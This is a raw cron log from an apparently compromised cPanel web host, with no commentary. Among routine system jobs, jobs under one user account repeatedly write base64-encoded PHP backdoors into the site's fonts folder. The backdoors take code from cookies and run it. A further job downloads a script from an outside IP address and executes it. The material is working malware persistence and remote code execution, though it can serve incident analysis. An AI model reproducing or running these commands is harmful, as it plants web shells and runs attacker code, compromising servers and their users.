Sep  5 08:10:01 ip-184-168-122-23 CROND[7454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:10:01 ip-184-168-122-23 CROND[7457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:10:01 ip-184-168-122-23 CROND[7456]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:10:01 ip-184-168-122-23 CROND[7459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:10:01 ip-184-168-122-23 CROND[7458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:10:01 ip-184-168-122-23 CROND[7461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:11:01 ip-184-168-122-23 CROND[7592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:11:01 ip-184-168-122-23 CROND[7596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:11:01 ip-184-168-122-23 CROND[7595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:11:01 ip-184-168-122-23 CROND[7594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:12:01 ip-184-168-122-23 CROND[7705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:12:01 ip-184-168-122-23 CROND[7707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:12:01 ip-184-168-122-23 CROND[7709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:12:01 ip-184-168-122-23 CROND[7708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:12:01 ip-184-168-122-23 CROND[7713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:13:01 ip-184-168-122-23 CROND[7812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:13:01 ip-184-168-122-23 CROND[7813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:13:01 ip-184-168-122-23 CROND[7814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:13:01 ip-184-168-122-23 CROND[7815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:14:01 ip-184-168-122-23 CROND[7913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:14:01 ip-184-168-122-23 CROND[7916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:14:01 ip-184-168-122-23 CROND[7917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:14:01 ip-184-168-122-23 CROND[7915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:14:01 ip-184-168-122-23 CROND[7918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:15:01 ip-184-168-122-23 CROND[8019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:15:01 ip-184-168-122-23 CROND[8020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:15:01 ip-184-168-122-23 CROND[8022]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:15:01 ip-184-168-122-23 CROND[8023]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 08:15:01 ip-184-168-122-23 CROND[8024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:15:01 ip-184-168-122-23 CROND[8025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:15:01 ip-184-168-122-23 CROND[8027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:16:01 ip-184-168-122-23 CROND[8155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:16:01 ip-184-168-122-23 CROND[8159]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 08:16:01 ip-184-168-122-23 CROND[8158]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:16:01 ip-184-168-122-23 CROND[8157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:16:01 ip-184-168-122-23 CROND[8160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:16:01 ip-184-168-122-23 CROND[8161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:17:01 ip-184-168-122-23 CROND[8261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:17:01 ip-184-168-122-23 CROND[8262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:17:01 ip-184-168-122-23 CROND[8263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:17:01 ip-184-168-122-23 CROND[8264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:18:01 ip-184-168-122-23 CROND[8346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:18:01 ip-184-168-122-23 CROND[8348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:18:01 ip-184-168-122-23 CROND[8349]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:18:01 ip-184-168-122-23 CROND[8350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:18:01 ip-184-168-122-23 CROND[8351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:19:01 ip-184-168-122-23 CROND[8460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:19:01 ip-184-168-122-23 CROND[8463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:19:02 ip-184-168-122-23 CROND[8466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:19:02 ip-184-168-122-23 CROND[8467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:20:01 ip-184-168-122-23 CROND[8638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:20:01 ip-184-168-122-23 CROND[8641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:20:01 ip-184-168-122-23 CROND[8642]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 08:20:01 ip-184-168-122-23 CROND[8644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:20:01 ip-184-168-122-23 CROND[8640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:20:01 ip-184-168-122-23 CROND[8646]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:20:01 ip-184-168-122-23 CROND[8653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:20:01 ip-184-168-122-23 CROND[8654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:20:01 ip-184-168-122-23 CROND[8652]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 08:21:01 ip-184-168-122-23 CROND[8747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:21:01 ip-184-168-122-23 CROND[8750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:21:01 ip-184-168-122-23 CROND[8749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:21:01 ip-184-168-122-23 CROND[8751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:22:01 ip-184-168-122-23 CROND[8833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:22:01 ip-184-168-122-23 CROND[8835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
